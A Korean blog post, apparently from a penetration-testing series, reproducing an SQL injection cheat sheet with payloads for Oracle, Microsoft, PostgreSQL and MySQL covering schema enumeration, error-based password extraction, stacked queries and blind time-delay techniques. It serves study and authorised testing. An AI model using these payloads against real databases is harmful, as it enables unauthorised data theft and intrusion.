SQL injection cheat sheet

심야·1일 전
0

모의해킹

목록 보기
49/49

SQL injection cheat sheet

문자열 연결

  • Oracle
    'foo'||'bar'
  • Microsoft
    'foo'+'bar'
  • PostgreSQL
    'foo'||'bar'
  • MySQL
    'foo' 'bar' [두 문자열 사이 공백으로 연결해야 함]
    CONCAT('foo','bar')

Substring

지정된 길이의 지정된 오프셋에서 문자열의 일부를 추출할 수 있다. 오프셋 인덱스는 1을 기준으로 합니다. 다음 각 표현식은 문자열 ba를 반환한다.

  • Oracle
    SUBSTR('foobar', 4, 2)
  • Microsoft
    SUBSTRING('foobar', 4, 2)
  • PostgreSQL
    SUBSTRING('foobar', 4, 2)
  • MySQL
    SUBSTRING('foobar', 4, 2)

주석

주석을 사용하여 쿼리를 잘라내고 원래 쿼리에서 입력한 내용 뒤에 오는 부분을 제거할 수 있다.

  • Oracle
    --comment
  • Microsoft
    --comment
    /*comment*/
  • PostgreSQL
    --comment
    /*comment*/
  • MySQL
    #comment
    -- comment [이중 대쉬 뒤의 공백에 주의해야 함]
    /*comment*/

Database version

데이터베이스를 쿼리하여 유형과 버전을 확인할 수 있다.
이 정보는 더 복잡한 공격을 공식화할 때 유용하다.

  • Oracle
    SELECT banner FROM v$version
    SELECT version FROM v$instance
  • Microsoft
    SELECT @@version
  • PostgreSQL
    SELECT version()
  • MySQL
    SELECT @@version

Database contents

데이터베이스에 존재하는 테이블과 해당 테이블에 포함된 열을 나열할 수 있다.

  • Oracle
    SELECT * FROM all_tables
    SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
  • Microsoft
    SELECT * FROM information_schema.tables
    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
  • PostgreSQL
    SELECT * FROM information_schema.tables
    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
  • MySQL
    SELECT * FROM information_schema.tables
    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

단일 boolean 조건을 테스트하고 조건이 참이면 데이터베이스 오류를 트리거할 수 있다.

  • Oracle
    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
  • Microsoft
    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
  • PostgreSQL
    1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
  • MySQL
    SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Extracting data via visible error messages

악성 쿼리가 반환한 민감한 데이터를 유출하는 오류 메시지를 유도할 수 있다.

  • Microsoft
    SELECT 'foo' WHERE 1 = (SELECT 'secret')
    => Conversion failed when converting the varchar value 'secret' to data type int.
  • PostgreSQL
    SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
    => invalid input syntax for integer: "secret"
  • MySQL
    SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
    => XPATH syntax error: '\secret'

Batched (or stacked) queries

batched 쿼리를 사용하여 여러 쿼리를 연속으로 실행할 수 있다. 후속 쿼리가 실행되는 동안에는 결과가 애플리케이션에 반환되지 않는다는 점에 유의해야 한다. 따라서 이 기술은 주로 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있는 블라인드 인젝션에서 사용할 수 있다.

  • Oracle
    배치 쿼리를 지원하지 않는다.
  • Microsoft
    QUERY-1-HERE; QUERY-2-HERE
    QUERY-1-HERE QUERY-2-HERE
  • PostgreSQL
    QUERY-1-HERE; QUERY-2-HERE
  • MySQL
    QUERY-1-HERE; QUERY-2-HERE
  • Note
    MySQL에서는 일반적으로 일괄 처리 쿼리를 SQL 인젝션에 사용할 수 없다. 그러나 대상 애플리케이션이 특정 PHP 또는 Python API를 사용하여 MySQL 데이터베이스와 통신하는 경우 간혹 가능하다.

Time delays

쿼리가 처리될 때 데이터베이스에 시간 지연이 발생할 수 있다.
다음은 무조건 10초의 시간 지연을 유발한다.

  • Oracle
    dbms_pipe.receive_message(('a'),10)
  • Microsoft
    WAITFOR DELAY '0:0:10'
  • PostgreSQL
    SELECT pg_sleep(10)
  • MySQL
    SELECT SLEEP(10)

Conditional time delays

  • Oracle
    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
  • Microsoft
    IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
  • PostgreSQL
    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
  • MySQL
    SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

Reference

https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://portswigger.net/web-security/sql-injection/cheat-sheet

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글